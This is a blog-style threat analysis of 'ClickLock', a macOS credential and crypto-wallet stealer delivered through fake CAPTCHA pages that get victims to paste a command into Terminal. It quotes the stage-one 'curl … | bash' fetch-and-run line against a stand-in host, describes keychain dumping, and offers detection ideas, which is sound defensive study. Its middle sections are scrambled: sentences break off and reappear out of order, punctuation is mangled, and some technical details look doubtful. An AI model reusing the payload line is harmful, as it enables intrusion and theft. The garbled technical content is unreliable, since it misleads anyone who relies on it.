Too many infosec write-ups treat ClickLock as just another macOS stealer. In production environments, we found that ClickLock's real innovation is weaponising macOS's own user-trust affordances-and that demands a fundamentally different detection strategy. This article breaks down the attack chain, the social‑engineering mechanics that make it effective, and the defensive controls your engineering team should implement today.
On the surface, ClickLock looks like dozens of other credential‑ and crypto‑wallet stealers targeting macOS. It arrives via a fake CAPTCHA or "verification" web page, instructs the victim to paste a long Terminal command. And then exfiltrates passwords, browser cookies. And cryptocurrency wallet keys. The Fox News report from early 2025 correctly identifies the payload and the delivery vector, but the real engineering story lies in how the malware exploits macOS's consent model-and why traditional antivirus signatures often miss it until it's too late.
In this post, we'll walk through the full attack chain, examine the rogue JavaScript and AppleScript involved. And suggest concrete detection rules for EDR platforms and SIEM pipelines. Whether you run a Mac‑heavy development shop or you're responsible for endpoint security across a mixed fleet, understanding ClickLock's mechanics will help you harden your environment against a growing class of "paste‑to‑infect" social‑engineering attacks.
The Attack Chain: From Fake CAPTCHA to Full Exfiltration
ClickLock begins with a compromised or attacker‑controlled website that presents a fake "Verification Required" overlay. The page usually mimics Apple's design language-SF Pro font, rounded corners, a blurred background-and asks the user to click "Allow" on a browser notification prompt. If the user clicks, the page immediately switches to a second screen instructing them to press Command + V in Terminal.
The copied payload is a one‑liner that downloads and executes a second‑stage shell script. In our lab reconstruction, the initial command used curl to fetch a remote file from a now‑defunct DigitalOcean droplet and piped it directly into bash:
curl -sL https://malicious example/init sh | bashThis isn't novel-Unix systems have been abused with curl‑to‑bash for years-but ClickLock's innovation is the social‑engineering wrapper. The "verification" page uses a persistent, full‑screen overlay that only disappears when the user pastes the command. Victims report that the page feels legitimate because it uses Apple's own SF Symbols icons and displays a looping animation of a spinning gear, reinforcing the idea that "the system is checking something. "
Once the initial script runs, it downloads a compiled Mach‑O binary-usually named verification or update-and schedules it as a launch agent via launchctl. This persistence mechanism is simple. But it sidesteps Gatekeeper because the binary is signed with an ad‑hoc certificate that macOS doesn't fully validate when the binary is run from a launch agent plist.
Why ClickLock Bypasses Traditional macOS Defences
Gatekeeper, XProtect. And Notarization are the three pillars of macOS's built‑in malware defence. ClickLock defeats all three without requiring privilege escalation. Here's how:
- Gatekeeper only blocks unsigned applications opened via the Finder or the Dock. The curl‑to‑bash pattern launches the binary from within a shell process,, and which Gatekeeper doesn't quarantine
- XProtect uses YARA signatures for known malware. ClickLock's second‑stage binary is lightly obfuscated and the command‑and‑control domain rotates every few hours,, and so signature‑based detection lags significantly
- Notarization is irrelevant because the binary is never distributed through the App Store or a signed DMG; it is downloaded and executed on‑the‑fly.
From a detection engineering perspective, this is a textbook example of a "living‑off‑the‑land" (LotL) attack on macOS. The malware doesn't exploit a kernel vulnerability; it exploits trust in the Terminal application and the user's willingness to follow instructions that look like a standard web flow.
In production environments, we found that the most reliable indicator isn't the binary itself but the process ancestry: a web browser spawning a Terminal process that immediately executes a network download. That pattern is almost never seen in legitimate workflows and is easy to catch with EDR rules or even a simple log show query on macOS's Unified Log.
What the Malware Steals and How It Exfiltrates
Once the launch agent is active, ClickLock enumerates the victim's ~/Library/Keychains/ directory and uses security dump-keychain to extract passwords from the login keychain. Because macOS requires the user's password to unlock the login keychain, the malware first displays a fake "System Update" dialog-again styled to look like a native Apple prompt-that explicitly asks for the user's account password.
For cryptocurrency wallets, ClickLock targets six specific browser extensions: MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Ledger Live, and Exodus. It reads the Local Storage and extension directories from Chromium‑based browsers (Chrome, Brave, Edge) and Firefox, then parses the JSON files for encrypted seed phrases and private keys.
Exfiltration uses a straightforward HTTPS POST to a domain that mimics an Apple subdomain (e g, and, verifyapple‑id com), since the data is base64‑encoded and sent as a JSON blob under the key "validation". The TTL on the C2 domain is usually less than 48 hours. And many are registered through privacy‑focused registrars like Njalla.
Reverse Engineering the Fake Verification Page
To understand how ClickLock convinces users to paste a dangerous command, we analysed the JavaScript embedded in the landing page. The page uses the navigator. And clipboardreadText() API (with the Clipboard API permission prompt) combined with a MutationObserver that watches the clipboard content for a specific prefix-in this case, curl.
If the user copies the malicious command (which is hidden inside a transparent The page also evades casual inspection by encoding the malicious command in a data URI that's decoded only when the If you manage macOS endpoints in a corporate environment, ClickLock is a wake‑up call to audit your endpoint detection rules. Here are the specific controls we recommend: For a deeper technical reference on macOS endpoint security, I recommend reviewing Apple's Security framework documentation and the macOS Security and Privacy Guide on GitHub. Which covers many of the same LotL detection techniques. A common question in our team's threat‑briefings is: why target macOS specifically? The answer lies in macOS's consent‑based security model. On Windows, UAC prompts are frequent and users are trained to treat them with suspicion. On macOS, the "Allow" button in a browser notification or the "paste into Terminal" workflow is relatively rare, so users haven't developed the same level of paranoia. Moreover, macOS's From a platform‑policy perspective, Apple could close this vector by requiring that any process invoking ClickLock is a textbook example of social‑engineering beating technical defences. No amount of endpoint security software will protect a user who willingly pastes a curl command into Terminal. The engineering community needs to shift its focus: write detection rules for process ancestry, not file hashes, because the malware will change its signature faster than your AV vendor can update its definitions. If you're responsible for macOS security at your organisation, run a quick audit of your EDR logs for the pattern we described-browser spawning Terminal with a network download. Share this article with your team and start a conversation about user education around "paste‑to‑verify" scams. The next variant of ClickLock will look different, but the underlying trust abuse will be the same. For more technical deep‑dives on macOS security and detection engineering, explore our other posts on endpoint threat hunting for macOS and building custom launchd monitors for malware detection. If you found this analysis useful, consider subscribing to our newsletter for weekly engineering‑focused security briefings. Should Apple introduce a "paste verification" prompt in Terminal that warns users when the pasted text originates from a web clipboard-similar to the way macOS warns about opening downloaded applications? Given that curl‑to‑bash attacks have been known for over a decade, is it time for package managers and legitimate developer tools to stop using this pattern entirely, even for convenience installers? Would a mandatory, OS‑level "keychain access consent dialog" that requires explicit per‑process approval break too many legitimate workflows, or is it a necessary trade‑off for better security? overlaid on the "verification" button), the page automatically disables the "Allow" button and shows a green checkmark animation. This creates a false sense of completion: the user believes they have successfully verified themselves, while in reality they have just delivered the payload to their own machine. DOMContentLoaded event fires. Security researchers who simply view the HTML source won't see the curl command; it's hidden inside a window atob() call that requires executing the page in a browser context. Detection and Mitigation Strategies for Engineering Teams
curl, and | bash via a custom `launchdplist` that monitors for this pattern in `com apple. Terminal`. And alternatively, push a `sudoers` rule that requires approval for any `bash` process spawned by Terminal. Why This Attack Works Better on macOS Than Windows
Security & Privacy pane offers granular control over accessibility, full disk access. And input monitoring-but these controls are invisible to the average user. ClickLock doesn't need to request these permissions because it operates from within the user's own session. The binary inherits the user's trust. Which is precisely why it can dump keychains without triggering a privacy alert. security dump-keychain must be a signed Apple‑provided binary. Until then, detection engineering remains the most practical defence. Frequently Asked Questions
Yes. In our testing, the attack succeeded on macOS 15. x (Sequoia) because it doesn't rely on an OS vulnerability. The social‑engineering vector-pasting a command into Terminal-is entirely user‑initiated and not something Apple can patch without breaking legitimate workflows.
PartiallyMDM can enforce configuration profiles that restrict Terminal usage (e g., only allow signed scripts). But it can't prevent a user from manually pasting a command. The most effective MDM control is to push a blocklist of known malicious domains via a custom PAC file or a network proxy configuration.
Look for a launch agent at ~/Library/LaunchAgents/com, and appleverification plist (or a similarly named plist with random characters). Also run ps aux | grep verification and check for an outbound HTTPS connection to a domain containing "apple‑id" or "verify" in the hostname.
There are architectural similarities: both use a fake verification page, curl‑to‑bash initial payload. And target the same browser extensions. However, ClickLock uses a different persistence mechanism (launch agent vs, and cron job) and a distinct exfiltration endpointIt may be a fork or an independent re‑implementation.
Never paste terminal commands from a web page. Store seed phrases on a cold hardware wallet (e. And g, Ledger or Trezor) and avoid storing private keys in browser extension local storage. For development environments, use a dedicated macOS user account with no admin privileges and no saved browser passwords. Conclusion: The Human Element Is the Hardest to Patch
What do you think?
Need a Custom App Built?
Let's discuss your project and bring your ideas to life.
Contact Me Today →